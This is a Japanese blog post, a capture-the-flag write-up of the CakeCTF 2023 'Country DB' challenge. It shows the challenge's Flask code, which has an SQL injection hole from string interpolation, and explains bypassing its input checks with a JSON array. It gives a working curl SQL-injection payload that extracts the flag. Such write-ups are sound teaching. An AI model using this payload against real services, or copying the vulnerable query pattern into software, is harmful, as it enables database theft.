0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

ctf upsolve by kodai Advent Calendar 2025(Day10)

Posted at

ctf upsolve by kodai Advent Calendar 2025(Day10)

ctf解く時間をあまり取れなったので今日は簡単な問題を扱いました。

取り扱った問題

CakeCTF 2023 Country DB
Author: ptr-yudai


upsolve

問題文
Do you know which country code 'CA' and 'KE' are for?
Search country codes here!

与えられたページではcountryCodeを入力すると、国名を表示させることができます。
image.png

サーバ側ではJSONのデータを受け取って、データベースからデータを取ってきています。

#!/usr/bin/env python3
import flask
import sqlite3

app = flask.Flask(__name__)

def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
        found = cur.fetchone()
    return None if found is None else found[0]

@app.route('/')
def index():
    return flask.render_template("index.html")

@app.route('/api/search', methods=['POST'])
def api_search():
    req = flask.request.get_json()
    if 'code' not in req:
        flask.abort(400, "Empty country code")

    code = req['code']
    if len(code) != 2 or "'" in code:
        flask.abort(400, "Invalid country code")

    name = db_search(code)
    if name is None:
        flask.abort(404, "No such country")

    return {'name': name}

if __name__ == '__main__':
    app.run(debug=True)

また、init_db.pyでは、countryテーブルとflagテーブルが作成されており、flagテーブルにflagが存在していることが分かります。

import sqlite3
import os

FLAG = os.getenv("FLAG", "FakeCTF{*** REDACTED ***}")

conn = sqlite3.connect("database.db")
conn.execute("""CREATE TABLE country (
  code TEXT NOT NULL,
  name TEXT NOT NULL
);""")
conn.execute("""CREATE TABLE flag (
  flag TEXT NOT NULL
);""")
conn.execute(f"INSERT INTO flag VALUES (?)", (FLAG,))

# Country list from https://gist.github.com/vxnick/380904
countries = [
    ('AF', 'Afghanistan'),
    ('AX', 'Aland Islands'),
    ('AL', 'Albania'),
# 省略
    ('ZM', 'Zambia'),
    ('ZW', 'Zimbabwe'),
]
conn.executemany("INSERT INTO country VALUES (?, ?)", countries)

conn.commit()
conn.close()

今回の問題では検索する文字列が2文字ではない、もしくは'が含まれている場合、Invalid country codeが返されてしまうという制約があります。

code = req['code']
if len(code) != 2 or "'" in code:
    flask.abort(400, "Invalid country code")

これをどうにかして突破できないでしょうか?
そこで今回は配列を使ってペイロードを組みます。また、'の制約を突破するために、"を使ってSQL Injectionを行うことがあるのでこれを使ってみます。

しかし今回は、max2文字しか入力することができないので、curlコマンドでFLAG奪取を試みます。

  <body>
    <label for="code">Country code: </label>
    <input id="code" type="text" maxlength="2" style="width: 2em;" required>
    <button onclick="queryCountryCode()">Search</button>
    <p id="result"></p>
  </body>

以下がペイロードになります。

$ curl -X POST -H "Content-Type: application/json" -d '{"code": [") UNION ALL SELECT flag FROM flag --",""]}' http://34.170.146.252:24652/api/search

FLAG : CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?